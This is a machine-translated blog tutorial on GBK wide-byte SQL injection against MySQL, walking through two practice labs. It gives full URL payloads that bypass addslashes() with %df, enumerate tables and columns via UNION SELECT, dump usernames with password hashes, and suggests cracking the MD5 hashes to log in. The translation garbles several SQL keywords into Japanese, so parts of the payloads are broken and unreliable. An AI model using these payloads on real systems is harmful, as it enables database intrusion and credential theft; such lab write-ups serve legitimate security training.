MySQL - ワイドバイトインジェクション

1.機能

追加スラッシュ() 関数:

指定された定義済み文字の前にバックスラッシュを追加します。これらの定義済み文字は、

一重引用符 (')、二重引用符 (")、バックスラッシュ (/)、NUL (ヌル文字)

機能は、これらの文字の機能を去勢することであり、単一引用符などの前に\バックスラッシュを置きます'

addslashes() 関数でフィルタリングした後、\ ' になります。エンティティに変換された文字には機能がありません。

ユーザー名 ' 1' ' の書き込みまたはクエリを実行すると、データベースは単一引用符'を終了記号として認識し、それを閉じるには単一引用符を入力する必要があります。 ' 1' 'を照会する方法

' 1\' 'と入力すると、\ は ' 終了機能を失い、データは ' 1' 'を認識します

 

 


 

 2.GBKBエンコーディング

 

' の前に %df を入力することでバイパスできます 

 

元々 ?id=1' と入力すると自動的に ?id=1\' にエスケープされますが、\ 内のエンコーディングは %5c です

その前に %df を入力すると、%df5c になり、%df5c は文字に解析されます。

 

では、%df と %5c はどこから来たのでしょうか?

%df は手動で入力したものです

%5c は、addslashes() 関数を使用して、' 記号の前に \ を自動的に追加します。この \ は %5c です。

次に %df と %5c を組み合わせると、GBKB エンコーディング方式に準拠します。

%df の 5 番目と c 番目は漢字を形成するだけです。

このように、彼は'シングル クォーテーションを コメント アウトしたこの\の機能を失います。

 

もともと、この \ は、シングル クォーテーションの機能をコメント アウトするためのものでした。

たとえば、もともとは「で遊ぶ」を見つけたかったのですが、遊んでいるうちに「シングル クォーテーション」の機能を失ってしまいました。 

 

しかし今では、彼のシングル クォーテーションの前に手動で %df を追加します。addslashes() 関数代わりに、%df の再生に %5c かかりました

それから、一緒に遊ぶには %df%5c 、自分で遊ぶには一重引用符になります。これにより、フィルタが正常にバイパスされます


 

3. ワイドバイトバイパス 

ワイド バイト バイパスの前提条件:

相手側のエンコード方式もGBKエンコードであることが必須で、リクエスト送信時にクライアントもGBKエンコードを使用していることを記載

 

4. 事例紹介 

(1) sqli-labs-master/Less-32

1.閉鎖モードを決定し、射出ポイントがあるかどうかを決定します

?id=1%df' かつ 1=2 --+

?id=1%df') および 1=2 --+
?id=1%df" および 1=2 --+

?id=1%df") および 1=2 --+

?id=1%df' および 1=2 に対してテスト済み --+ ページは、注入ポイントがあることを確認するためにエラーを報告します 

 

 すべての閉じたシンボルをテストしても、ページはまだエコーしません

%df を使用して閉鎖をテストする

URL: ?id=1%df'

ページエラー

1 行目の ''1�\'' LIMIT 0,1'

'1�\'' LIMIT 0,1

単一引用符で閉じる方法を決定する

url: ?id=1%df' --+

--+ を使用して、次のコードをコメントアウトします

ページエコーは正常です

URL ?id=1%df' および 1=1--+

and 1=1 を使用して、ページ エコーを正常にテストします。

url:?id=1%df' かつ 1=2 --+

and 1=2 を使用してページをテストし、エラーを報告して注入ポイントがあることを確認します 

2. フィールド数を決定する 

?id=1%df' 3 順 --+

 

 url:?id=1%df' 4 順 --+

4 番目のフィールドがテストされると、ページはエラーを報告します。

url: ?id=1%df' 3 順 --+ 

3 番目のフィールドをテストすると、ページ エコーは正常です。 

3. エコー ビットを決定する 

?id=1%df' 組合選択 1,2,3 --+

 

ページにエコーされたフィールドが

2.3 

4. データベース名を取得する

?id=-1%df' ユニオン選択 1,(データベース()),3--+

 

データベース名がSecuriryであることを確認してください 

5.データテーブル名を取得する

?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

 メール、リファラー、uagent、ユーザー

6. フィールド (列) を取得する

?id=-1%df' union select 1,2,(table_schema=database() および table_name=0x7573657273 の information_Schema.columns から group_concat(column_name) を選択)--+

注: 0x は 16 進数を表します。通常のテストでは table_name='users' と記述するためです。

しかし、addslashes() は、ここで入力した '' という 2 つの単一引用符もフィルター処理するため、テーブル名を 16 進数形式に変換し、先頭に 0x の固定の書き込み方法を追加する必要があります。

0x: 16 進数を表す

7573657273: ユーザーを表します

 

 ID

ユーザー名

パスワード

分野

HEX から文字への 16 進数から文字への 16 進数 gb2312 gbk utf8 漢字の内部コード変換 - X オンライン ツール 

7.ライブラリをドラッグ 

?id=-1%df' union select 1,2,(select group_concat(username, 0x7e ,password) from security.users)--+

0x: 16 進数を表す

7e:~号

ここの 0x7e は、主にスプライスしたシンボルです。

 

 


(2)モジェ射撃場(ワイドバイト投入) 

1. 閉鎖方法の決定と注入箇所の有無の判断

?id=1%df' かつ 1=2 --+

url:?id=1%df' かつ 1=1 --+

ページは正常にエコーされます 

?id=1%df' および 1=2--+ 

ページエラー

注射があることを確認してください

2. フィールド数を決定する

?id=1%df' 5 順 --+

 

url:?id=1%df' 5 順 --+ 

ページは正常にエコーされます

 url:?id=1%df' 6 順 --+

ページエラー

合計 5 つのフィールドを決定する 

3. エコー ビットを決定する

?id=-1%df' 組合選択 1,2,3,4,5 --+

エコー フィールドが 3、5 であることを確認します 

4. データベース名を取得する

?id=-1%df' ユニオン セレクト 1,2,3,4,(データベース())--+

 

url:?id=-1%df' ユニオン セレクト 1,2,3,4,(データベース()) --+

現在のデータベースが 

mozhe_discuss_stormgroup

5. データ テーブルを取得する

?id=-1%df' union select 1,2,3,4,(select group_concat(table_name) from information_schema.tables where table_Schema=database())--+

 

現在のデータテーブルは 

お知らせ,stormgroup_member

6. フィールド (列) 情報を取得する

id=-1%df' union select 1,2,3,4,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7374
6F726D67726F75705F6D656D626572 )--+

0x: 16 進固定の書き込み方法を表す

73746F726D67726F75705F6D656D626572:stormgroup_member

なお、上記のsqlibasのテストでも、こちらのテストでも、テーブル名を16進数に変換する際、ダブルクォートやシングルクォートなしでテーブル名を直接変換できます。

 

 

 名前、パスワード、ステータス

7.ライブラリをドラッグ

?id=-1%df' union select 1,2,3,4,(mozhe_discuz_stormgroup .stormgroup_member から group_concat(name,0x7e,password) を選択
)--+

0x: 16 進固定書き込み方式

7e:~ 

 

 

 

 mozhe~3114b433dece9180717f2b7de56b28a3、

mozhe~aec5684b03c7c59a55bf958c2f3320e7

ここには、md5 暗号化方式を使用する 2 つのアカウントがあります。それを解読してログインします。

おすすめ

転載: blog.csdn.net/m0_72755466/article/details/130126921